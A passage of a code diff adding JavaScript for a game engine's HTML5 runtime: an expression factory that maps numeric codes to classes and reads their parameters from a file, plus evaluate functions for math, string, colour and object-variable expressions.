+ exp = new EXP_DOUBLE();
+ break;
+ case ((24 << 16) | 0xFFFF):
+ exp = new EXP_VARGLONAMED();
+ break;
+ case ((28 << 16) | 0xFFFF):
+ exp = new EXP_INT();
+ break;
+ case ((29 << 16) | 0xFFFF):
+ exp = new EXP_ABS();
+ break;
+ case ((30 << 16) | 0xFFFF):
+ exp = new EXP_CEIL();
+ break;
+ case ((31 << 16) | 0xFFFF):
+ exp = new EXP_FLOOR();
+ break;
+ case ((32 << 16) | 0xFFFF):
+ exp = new EXP_ACOS();
+ break;
+ case ((33 << 16) | 0xFFFF):
+ exp = new EXP_ASIN();
+ break;
+ case ((34 << 16) | 0xFFFF):
+ exp = new EXP_ATAN();
+ break;
+ case ((35 << 16) | 0xFFFF):
+ exp = new EXP_NOT();
+ break;
+ case ((40 << 16) | 0xFFFF):
+ exp = new EXP_MIN();
+ break;
+ case ((41 << 16) | 0xFFFF):
+ exp = new EXP_MAX();
+ break;
+ case ((42 << 16) | 0xFFFF):
+ exp = new EXP_GETRGB();
+ break;
+ case ((43 << 16) | 0xFFFF):
+ exp = new EXP_GETRED();
+ break;
+ case ((44 << 16) | 0xFFFF):
+ exp = new EXP_GETGREEN();
+ break;
+ case ((45 << 16) | 0xFFFF):
+ exp = new EXP_GETBLUE();
+ break;
+ case ((46 << 16) | 0xFFFF):
+ exp = new EXP_LOOPINDEX();
+ break;
+ case ((47 << 16) | 0xFFFF):
+ exp = new EXP_NEWLINE();
+ break;
+ case ((48 << 16) | 0xFFFF):
+ exp = new EXP_ROUND();
+ break;
+ case ((49 << 16) | 0xFFFF):
+ exp = new EXP_STRINGGLO();
+ break;
+ case ((50 << 16) | 0xFFFF):
+ exp = new EXP_STRINGGLONAMED();
+ break;
+ case ((51 << 16) | 0xFFFF):
+ exp = new EXP_LOWER();
+ break;
+ case ((52 << 16) | 0xFFFF):
+ exp = new EXP_UPPER();
+ break;
+ case ((53 << 16) | 0xFFFF):
+ exp = new EXP_FIND();
+ break;
+ case ((54 << 16) | 0xFFFF):
+ exp = new EXP_REVERSEFIND();
+ break;
+ case ((58 << 16) | 0xFFFF):
+ exp = new EXP_FLOATTOSTRING();
+ break;
+ case ((59 << 16) | 0xFFFF):
+ exp = new EXP_ATAN2();
+ break;
+ case ((60 << 16) | 0xFFFF):
+ exp = new EXP_ZERO();
+ break;
+ case ((61 << 16) | 0xFFFF):
+ exp = new EXP_EMPTY();
+ break;
+ case ((62 << 16) | 0xFFFF):
+ exp = new EXP_DISTANCE();
+ break;
+ case ((63 << 16) | 0xFFFF):
+ exp = new EXP_ANGLE();
+ break;
+ case ((64 << 16) | 0xFFFF):
+ exp = new EXP_RANGE();
+ break;
+ case ((65 << 16) | 0xFFFF):
+ exp = new EXP_RANDOMRANGE();
+ break;
+ case ((67 << 16) | 0xFFFF):
+ exp = new EXP_RUNTIMENAME();
+ break;
+ case ((-1 << 16) | 0xFFFF):
+ exp = new EXP_PARENTH1();
+ break;
+ case ((-2 << 16) | 0xFFFF):
+ exp = new EXP_PARENTH2();
+ break;
+ case ((-3 << 16) | 0xFFFF):
+ exp = new EXP_VIRGULE();
+ break;
+ case ((0 << 16) | 0xFFFE):
+ exp = new EXP_GETSAMPLEMAINVOL();
+ break;
+ case ((1 << 16) | 0xFFFE):
+ exp = new EXP_GETSAMPLEVOL();
+ break;
+ case ((2 << 16) | 0xFFFE):
+ exp = new EXP_GETCHANNELVOL();
+ break;
+ case ((3 << 16) | 0xFFFE):
+ exp = new EXP_ZERO();
+ break;
+ case ((4 << 16) | 0xFFFE):
+ exp = new EXP_GETSAMPLEPAN();
+ break;
+ case ((5 << 16) | 0xFFFE):
+ exp = new EXP_GETCHANNELPAN();
+ break;
+ case ((6 << 16) | 0xFFFE):
+ exp = new EXP_GETSAMPLEPOS();
+ break;
+ case ((7 << 16) | 0xFFFE):
+ exp = new EXP_GETCHANNELPOS();
+ break;
+ case ((8 << 16) | 0xFFFE):
+ exp = new EXP_GETSAMPLEDUR();
+ break;
+ case ((9 << 16) | 0xFFFE):
+ exp = new EXP_GETCHANNELDUR();
+ break;
+ case ((10 << 16) | 0xFFFE):
+ exp = new EXP_GETSAMPLEFREQ();
+ break;
+ case ((11 << 16) | 0xFFFE):
+ exp = new EXP_GETCHANNELFREQ();
+ break;
+ case ((0 << 16) | 0xFFFD):
+ exp = new EXP_GAMLEVEL();
+ break;
+ case ((1 << 16) | 0xFFFD):
+ exp = new EXP_GAMNPLAYER();
+ break;
+ case ((2 << 16) | 0xFFFD):
+ exp = new EXP_PLAYXLEFT();
+ break;
+ case ((3 << 16) | 0xFFFD):
+ exp = new EXP_PLAYXRIGHT();
+ break;
+ case ((4 << 16) | 0xFFFD):
+ exp = new EXP_PLAYYTOP();
+ break;
+ case ((5 << 16) | 0xFFFD):
+ exp = new EXP_PLAYYBOTTOM();
+ break;
+ case ((6 << 16) | 0xFFFD):
+ exp = new EXP_PLAYWIDTH();
+ break;
+ case ((7 << 16) | 0xFFFD):
+ exp = new EXP_PLAYHEIGHT();
+ break;
+ case ((8 << 16) | 0xFFFD):
+ exp = new EXP_GAMLEVELNEW();
+ break;
+ case ((9 << 16) | 0xFFFD):
+ exp = new EXP_GETCOLLISIONMASK();
+ break;
+ case ((10 << 16) | 0xFFFD):
+ exp = new EXP_FRAMERATE();
+ break;
+ case ((11 << 16) | 0xFFFD):
+ exp = new EXP_GETVIRTUALWIDTH();
+ break;
+ case ((12 << 16) | 0xFFFD):
+ exp = new EXP_GETVIRTUALHEIGHT();
+ break;
+ case ((13 << 16) | 0xFFFD):
+ exp = new EXP_GETFRAMEBKDCOLOR();
+ break;
+ case ((14 << 16) | 0xFFFD):
+ exp = new EXP_ZERO();
+ break;
+ case ((15 << 16) | 0xFFFD):
+ exp = new EXP_ZERO();
+ break;
+ case ((16 << 16) | 0xFFFD):
+ exp = new EXP_FRAMEALPHACOEF();
+ break;
+ case ((17 << 16) | 0xFFFD):
+ exp = new EXP_FRAMERGBCOEF();
+ break;
+ case ((18 << 16) | 0xFFFD):
+ exp = new EXP_ZERO();
+ break;
+ case ((0 << 16) | 0xFFFC):
+ exp = new EXP_TIMVALUE();
+ break;
+ case ((1 << 16) | 0xFFFC):
+ exp = new EXP_TIMCENT();
+ break;
+ case ((2 << 16) | 0xFFFC):
+ exp = new EXP_TIMSECONDS();
+ break;
+ case ((3 << 16) | 0xFFFC):
+ exp = new EXP_TIMHOURS();
+ break;
+ case ((4 << 16) | 0xFFFC):
+ exp = new EXP_TIMMINITS();
+ break;
+ case ((5 << 16) | 0xFFFC):
+ exp = new EXP_EVENTAFTER();
+ break;
+ case ((0 << 16) | 0xFFFA):
+ exp = new EXP_XMOUSE();
+ break;
+ case ((1 << 16) | 0xFFFA):
+ exp = new EXP_YMOUSE();
+ break;
+ case ((2 << 16) | 0xFFFA):
+ exp = new EXP_MOUSEWHEELDELTA();
+ break;
+ case ((0 << 16) | 0xFFF9):
+ exp = new EXP_PLASCORE();
+ break;
+ case ((1 << 16) | 0xFFF9):
+ exp = new EXP_PLALIVES();
+ break;
+ case ((2 << 16) | 0xFFF9):
+ exp = new EXP_GETINPUT();
+ break;
+ case ((3 << 16) | 0xFFF9):
+ exp = new EXP_GETINPUTKEY();
+ break;
+ case ((4 << 16) | 0xFFF9):
+ exp = new EXP_GETPLAYERNAME();
+ break;
+ case ((0 << 16) | 0xFFFB):
+ exp = new EXP_CRENUMBERALL();
+ break;
+ case (( (80 + 0) << 16) | 3):
+ exp = new EXP_STRNUMBER();
+ break;
+ case (( (80 + 1) << 16) | 3):
+ exp = new EXP_STRGETCURRENT();
+ break;
+ case (( (80 + 2) << 16) | 3):
+ exp = new EXP_STRGETNUMBER();
+ break;
+ case (( (80 + 3) << 16) | 3):
+ exp = new EXP_STRGETNUMERIC();
+ break;
+ case (( (80 + 4) << 16) | 3):
+ exp = new EXP_STRGETNPARA();
+ break;
+ case ((80 + 0) << 16 | 2):
+ exp = new EXP_GETRGBAT();
+ break;
+ case ((80 + 1) << 16 | 2):
+ exp = new EXP_GETSCALEX();
+ break;
+ case ((80 + 2) << 16 | 2):
+ exp = new EXP_GETSCALEY();
+ break;
+ case ((80 + 3) << 16 | 2):
+ exp = new EXP_GETANGLE();
+ break;
+ case (( (80 + 0) << 16) | 7):
+ exp = new EXP_CVALUE();
+ break;
+ case (( (80 + 1) << 16) | 7):
+ exp = new EXP_CGETMIN();
+ break;
+ case (( (80 + 2) << 16) | 7):
+ exp = new EXP_CGETMAX();
+ break;
+ case (( (80 + 3) << 16) | 7):
+ exp = new EXP_CGETCOLOR1();
+ break;
+ case (( (80 + 4) << 16) | 7):
+ exp = new EXP_CGETCOLOR2();
+ break;
+ case (((80 + 0) << 16) | 9):
+ exp = new EXP_CCAGETFRAMENUMBER();
+ break;
+ case (((80 + 1) << 16) | 9):
+ exp = new EXP_CCAGETGLOBALVALUE();
+ break;
+ case (((80 + 2) << 16) | 9):
+ exp = new EXP_CCAGETGLOBALSTRING();
+ break;
+ default:
+ switch (c & 0xFFFF0000)
+ {
+ case ( 1 << 16):
+ exp = new EXP_EXTYSPR();
+ break;
+ case ( 2 << 16):
+ exp = new EXP_EXTISPR();
+ break;
+ case ( 3 << 16):
+ exp = new EXP_EXTSPEED();
+ break;
+ case ( 4 << 16):
+ exp = new EXP_EXTACC();
+ break;
+ case ( 5 << 16):
+ exp = new EXP_EXTDEC();
+ break;
+ case ( 6 << 16):
+ exp = new EXP_EXTDIR();
+ break;
+ case ( 7 << 16):
+ exp = new EXP_EXTXLEFT();
+ break;
+ case ( 8 << 16):
+ exp = new EXP_EXTXRIGHT();
+ break;
+ case ( 9 << 16):
+ exp = new EXP_EXTYTOP();
+ break;
+ case (10 << 16):
+ exp = new EXP_EXTYBOTTOM();
+ break;
+ case (11 << 16):
+ exp = new EXP_EXTXSPR();
+ break;
+ case (12 << 16):
+ exp = new EXP_EXTIDENTIFIER();
+ break;
+ case (13 << 16):
+ exp = new EXP_EXTFLAG();
+ break;
+ case (14 << 16):
+ exp = new EXP_EXTNANI();
+ break;
+ case (15 << 16):
+ exp = new EXP_EXTNOBJECTS();
+ break;
+ case (16 << 16):
+ exp = new EXP_EXTVAR();
+ break;
+ case (17 << 16):
+ exp = new EXP_EXTGETSEMITRANSPARENCY();
+ break;
+ case (18 << 16):
+ exp = new EXP_EXTNMOVE();
+ break;
+ case (19 << 16):
+ exp = new EXP_EXTVARSTRING();
+ break;
+ case (20 << 16):
+ exp = new EXP_EXTGETFONTNAME();
+ break;
+ case (21 << 16):
+ exp = new EXP_EXTGETFONTSIZE();
+ break;
+ case (22 << 16):
+ exp = new EXP_EXTGETFONTCOLOR();
+ break;
+ case (23 << 16):
+ exp = new EXP_EXTGETLAYER();
+ break;
+ case (24 << 16):
+ exp = new EXP_EXTGETGRAVITY();
+ break;
+ case (25 << 16):
+ exp = new EXP_EXTXAP();
+ break;
+ case (26 << 16):
+ exp = new EXP_EXTYAP();
+ break;
+ case (27 << 16):
+ exp = new EXP_EXTALPHACOEF();
+ break;
+ case (28 << 16):
+ exp = new EXP_EXTRGBCOEF();
+ break;
+ case (29 << 16):
+ exp = new EXP_ZERO();
+ break;
+ case (30 << 16):
+ exp = new EXP_EXTVARBYINDEX();
+ break;
+ case (31 << 16):
+ exp = new EXP_EXTVARSTRINGBYINDEX();
+ break;
+
+ case (32 << 16):
+ exp = new EXP_EXTDISTANCE();
+ break;
+ case (33 << 16):
+ exp = new EXP_EXTANGLE();
+ break;
+ case (34 << 16):
+ exp = new EXP_EXTLOOPINDEX();
+ break;
+
+ case (35 << 16):
+ exp = new EXP_EXTGETFRICTION();
+ break;
+ case (36 << 16):
+ exp = new EXP_EXTGETRESTITUTION();
+ break;
+ case (37 << 16):
+ exp = new EXP_EXTGETDENSITY();
+ break;
+ case (38 << 16):
+ exp = new EXP_EXTGETVELOCITY();
+ break;
+ case (39 << 16):
+ exp = new EXP_EXTGETANGLE();
+ break;
+ case (40 << 16):
+ exp = new EXP_EXTWIDTH();
+ break;
+ case (41 << 16):
+ exp = new EXP_EXTHEIGHT();
+ break;
+ case (42 << 16):
+ exp = new EXP_EXTGETMASS();
+ break;
+ case (43 << 16):
+ exp = new EXP_EXTGETANGULARVELOCITY();
+ break;
+ case (44 << 16):
+ exp = new EXP_EXTGETNAME();
+ break;
+
+ default:
+ exp = new CExpExtension();
+ break;
+ }
+ }
+ if (exp != null)
+ {
+ exp.code = c;
+
+ if (c != 0x00000000)
+ {
+ var size = file.readAShort();
+
+ var type;
+ switch (c)
+ {
+ case ((3 << 16) | 0xFFFF):
+ exp.string = file.readAString();
+ break;
+ case ((0 << 16) | 0xFFFF):
+ exp.value = file.readAInt();
+ break;
+ case ((23 << 16) | 0xFFFF):
+ exp.value = file.readADouble();
+ break;
+ case ((24 << 16) | 0xFFFF):
+ file.skipBytes(4);
+ exp.number = file.readAShort();
+ break;
+ case ((50 << 16) | 0xFFFF):
+ file.skipBytes(4);
+ exp.number = file.readAShort();
+ break;
+ default:
+ type = c & 0xFFFF;
+ if ((type & 0x8000) != 0)
+ type = type - 65536;
+ if (type >= 2 || type == COI.OBJ_PLAYER)
+ {
+ exp.oi = file.readShort();
+ exp.oiList = file.readShort();
+ switch (c & 0xFFFF0000)
+ {
+ case (16 << 16): // EXP_EXTVAR
+ exp.number = file.readAShort();
+ break;
+ case (19 << 16): // EXP_EXTVARSTRING
+ exp.number = file.readAShort();
+ break;
+ default:
+ break;
+ }
+ }
+ }
+ file.seek(debut + size);
+ }
+ }
+ return exp;
+ }
+ function CExp()
+ {
+ }
+
+ function EXP_EMPTY()
+ {
+ }
+ EXP_EMPTY.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "";
+ }
+ }
+
+ function EXP_ZERO()
+ {
+ }
+ EXP_ZERO.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ }
+ }
+
+ function EXP_LONG()
+ {
+ }
+ EXP_LONG.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = this.value;
+
+ }
+ }
+
+ function EXP_DOUBLE()
+ {
+ }
+ EXP_DOUBLE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = this.value;
+ rhPtr.flagFloat = true;
+ }
+ }
+ function EXP_EXTVAR()
+ {
+ }
+ EXP_EXTVAR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ return;
+ }
+ var value;
+ if (pHo.rov != null)
+ value = pHo.rov.getValue(this.number);
+ else
+ value = 0;
+ if (!CServices.isInt(value))
+ rhPtr.flagFloat = true;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = value;
+ }
+ }
+ function EXP_EXTVARSTRING()
+ {
+ }
+ EXP_EXTVARSTRING.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ if (pHo == null)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "";
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.rov.getString(this.number);
+ }
+ }
+
+ function EXP_STRINGGLONAMED()
+ {
+ }
+ EXP_STRINGGLONAMED.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.getGlobalStringAt(this.number);
+ }
+ }
+
+ function EXP_VARGLONAMED()
+ {
+ }
+ EXP_VARGLONAMED.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rhPtr.rhApp.getGlobalValueAt(this.number);
+ }
+ }
+
+ function EXP_STRING()
+ {
+ }
+ EXP_STRING.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = this.string;
+ }
+ }
+
+ function EXP_EXTVARBYINDEX()
+ {
+ }
+ EXP_EXTVARBYINDEX.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ rhPtr.rh4CurToken++;
+ var number = rhPtr.get_ExpressionInt();
+ if (pHo != null && pHo.rov != null)
+ {
+ if (number >= 0 && number < pHo.rov.rvValues.length)
+ {
+ var value = pHo.rov.getValue(number);
+ if (!CServices.isInt(value))
+ rhPtr.flagFloat = true;
+
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = value;
+ return;
+ }
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ }
+ }
+
+ function EXP_EXTVARSTRINGBYINDEX()
+ {
+ }
+ EXP_EXTVARSTRINGBYINDEX.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var pHo = rhPtr.rhEvtProg.get_ExpressionObjects(this.oiList);
+ rhPtr.rh4CurToken++;
+ var number = rhPtr.get_ExpressionInt();
+ if (pHo != null && pHo.rov != null)
+ {
+ if (number >= 0 && number < CRVal.STRINGS_NUMBEROF_ALTERABLE)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pHo.rov.getString(number);
+ return;
+ }
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "";
+ }
+ }
+
+ // CUT
+
+
+ // System object
+ // ---------------------------------------------------------------
+ function EXP_DISTANCE()
+ {
+ }
+ EXP_DISTANCE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var x1 = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var y1 = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var x2 = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var y2 = rhPtr.getExpression();
+ var deltaX = x2 - x1;
+ var deltaY = y2 - y1;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = CServices.approximateInt(Math.sqrt(deltaX * deltaX + deltaY * deltaY));
+ }
+ }
+ // CUT
+
+ function EXP_ANGLE()
+ {
+ }
+ EXP_ANGLE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var x1 = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var y1 = rhPtr.getExpression();
+ var angle = Math.atan2(-y1, x1) * 180.0 / 3.141592653589;
+ if (angle < 0)
+ angle = 360 + angle;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = CServices.approximateInt(angle);
+ }
+ }
+ // CUT
+
+ function EXP_RANGE()
+ {
+ }
+ EXP_RANGE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var minimum = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var maximum = rhPtr.getExpression();
+
+ value = Math.max(value, minimum);
+ value = Math.min(value, maximum);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = value;
+ }
+ }
+ // CUT
+
+ function EXP_RANDOMRANGE()
+ {
+ }
+ EXP_RANDOMRANGE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var minimum = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var maximum = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = minimum + rhPtr.random(maximum - minimum + 1);
+ }
+ }
+ // CUT
+
+ function EXP_RUNTIMENAME()
+ {
+ }
+ EXP_RUNTIMENAME.prototype =
+ {
+ evaluate: function (rhPtr) {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "Html5";
+ }
+ }
+ // CUT
+
+ function EXP_ABS()
+ {
+ }
+ EXP_ABS.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.abs(value);
+ }
+ }
+ // CUT
+
+ function EXP_ABS()
+ {
+ }
+ EXP_ABS.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.abs(value);
+ }
+ }
+ // CUT
+
+ function EXP_ACOS()
+ {
+ }
+ EXP_ACOS.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.acos(value) * 57.295779513082320876798154814105;
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_AND()
+ {
+ }
+ EXP_AND.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] &= rhPtr.rh4Results[rhPtr.rh4PosPile + 1];
+ }
+ }
+ // CUT
+
+ function EXP_ASIN()
+ {
+ }
+ EXP_ASIN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.asin(value) * 57.295779513082320876798154814105;
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_ATAN()
+ {
+ }
+ EXP_ATAN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.atan(value) * 57.295779513082320876798154814105;
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_ATAN2()
+ {
+ }
+ EXP_ATAN2.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value1 = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var value2 = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.atan2(value1, value2) * 57.295779513082320876798154814105;
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_CEIL()
+ {
+ }
+ EXP_CEIL.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.ceil(value);
+ }
+ }
+ // CUT
+
+ function EXP_BIN()
+ {
+ }
+ EXP_BIN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var a = rhPtr.get_ExpressionInt();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "0b" + a.toString(2);
+ }
+ }
+ // CUT
+
+ function EXP_COS()
+ {
+ }
+ EXP_COS.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.cos(value / 57.295779513082320876798154814105);
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_DIV()
+ {
+ }
+ EXP_DIV.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ var value1 = rhPtr.rh4Results[rhPtr.rh4PosPile];
+ var value2 = rhPtr.rh4Results[rhPtr.rh4PosPile + 1];
+ // if (Math.floor(value1)==value1 && (value2)==value2)
+ if (value2 != 0)
+ {
+ if (rhPtr.flagFloat == false)
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = CServices.floatToInt(value1 / value2);
+ else
+ rhPtr.rh4Results[rhPtr.rh4PosPile] /= rhPtr.rh4Results[rhPtr.rh4PosPile + 1];
+ }
+ else
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = 0;
+ }
+ }
+ // CUT
+
+ function EXP_EXP()
+ {
+ }
+ EXP_EXP.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.exp(value);
+ rhPtr.flagFloat = true;
+ }
+ }
+ // CUT
+
+ function EXP_FIND()
+ {
+ }
+ EXP_FIND.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var pMainString = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var pSubString = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var firstChar = rhPtr.get_ExpressionInt();
+
+ if (firstChar >= pMainString.length)
+ {
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = -1;
+ return;
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = pMainString.indexOf(pSubString, firstChar);
+ }
+ }
+ // CUT
+
+ function EXP_FLOATTOSTRING()
+ {
+ }
+ EXP_FLOATTOSTRING.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+
+ rhPtr.rh4CurToken++;
+ var nDigits = rhPtr.get_ExpressionInt();
+ if (nDigits < 1)
+ nDigits = 1;
+
+ rhPtr.rh4CurToken++;
+ var nDecimals = rhPtr.get_ExpressionInt();
+
+ var temp = value.toString();
+ var result = new String();
+
+ var point = temp.indexOf(".");
+
+ var cpt;
+ if (point >= 0)
+ {
+ for (cpt = point + 1; cpt < temp.length; cpt++)
+ {
+ if (temp.charAt(cpt) != "0")
+ {
+ break;
+ }
+ }
+ if (cpt == temp.length)
+ point = -1;
+ }
+
+ var pos = 0;
+ if (point >= 0)
+ {
+ if (value < 0.0)
+ {
+ result += "-";
+ pos++;
+ }
+
+ while (pos < point)
+ {
+ result += temp.charAt(pos);
+ pos++;
+ }
+
+ if (nDecimals > 0)
+ {
+ result += ".";
+ pos++;
+
+ for (cpt = 0; cpt < nDecimals && cpt + pos < temp.length; cpt++)
+ result += temp.charAt(pos + cpt);
+ }
+ else if (nDecimals < 0)
+ {
+ result += ".";
+ pos++;
+ while (pos < temp.length)
+ {
+ result += temp.charAt(pos);
+ pos++;
+ }
+ }
+ }
+ else
+ {
+ while (pos < temp.length && temp.charAt(pos) != ".")
+ {
+ result += temp.charAt(pos);
+ pos++;
+ }
+ if (nDecimals > 0)
+ {
+ result += ".";
+ for (cpt = 0; cpt < nDecimals; cpt++)
+ {
+ result += "0";
+ }
+ }
+ }
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = result;
+ }
+ }
+ // CUT
+
+ function EXP_FLOOR()
+ {
+ }
+ EXP_FLOOR.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = Math.floor(value);
+ }
+ }
+ // CUT
+
+ function EXP_GETBLUE()
+ {
+ }
+ EXP_GETBLUE.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var rgb = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = (rgb >>> 16) & 255;
+ }
+ }
+ // CUT
+
+ function EXP_GETGREEN()
+ {
+ }
+ EXP_GETGREEN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var rgb = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = (rgb >>> 8) & 255;
+ }
+ }
+ // CUT
+
+ function EXP_GETRED()
+ {
+ }
+ EXP_GETRED.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var rgb = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rgb & 255;
+ }
+ }
+ // CUT
+
+ function EXP_GETRGB()
+ {
+ }
+ EXP_GETRGB.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var r = rhPtr.get_ExpressionInt();
+ rhPtr.rh4CurToken++;
+ var g = rhPtr.get_ExpressionInt();
+ rhPtr.rh4CurToken++;
+ var b = rhPtr.get_ExpressionInt();
+ var rgb = ((b & 255) << 16) + ((g & 255) << 8) + (r & 255);
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = rgb;
+ }
+ }
+ // CUT
+
+ function EXP_HEX()
+ {
+ }
+ EXP_HEX.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var a = rhPtr.get_ExpressionInt();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = "0x" + a.toString(16);
+ }
+ }
+ // CUT
+
+ function EXP_INT()
+ {
+ }
+ EXP_INT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var value = rhPtr.getExpression();
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = CServices.floatToInt(value);
+
+ }
+ }
+ // CUT
+
+ function EXP_LEFT()
+ {
+ }
+ EXP_LEFT.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
+ var string = rhPtr.getExpression();
+ rhPtr.rh4CurToken++;
+ var pos = rhPtr.get_ExpressionInt();
+ if (pos < 0)
+ pos = 0;
+ if (pos > string.length)
+ pos = string.length;
+ rhPtr.rh4Results[rhPtr.rh4PosPile] = string.substring(0, pos);
+
+ }
+ }
+ // CUT
+
+ function EXP_LEN()
+ {
+ }
+ EXP_LEN.prototype =
+ {
+ evaluate: function (rhPtr)
+ {
+ rhPtr.rh4CurToken++;
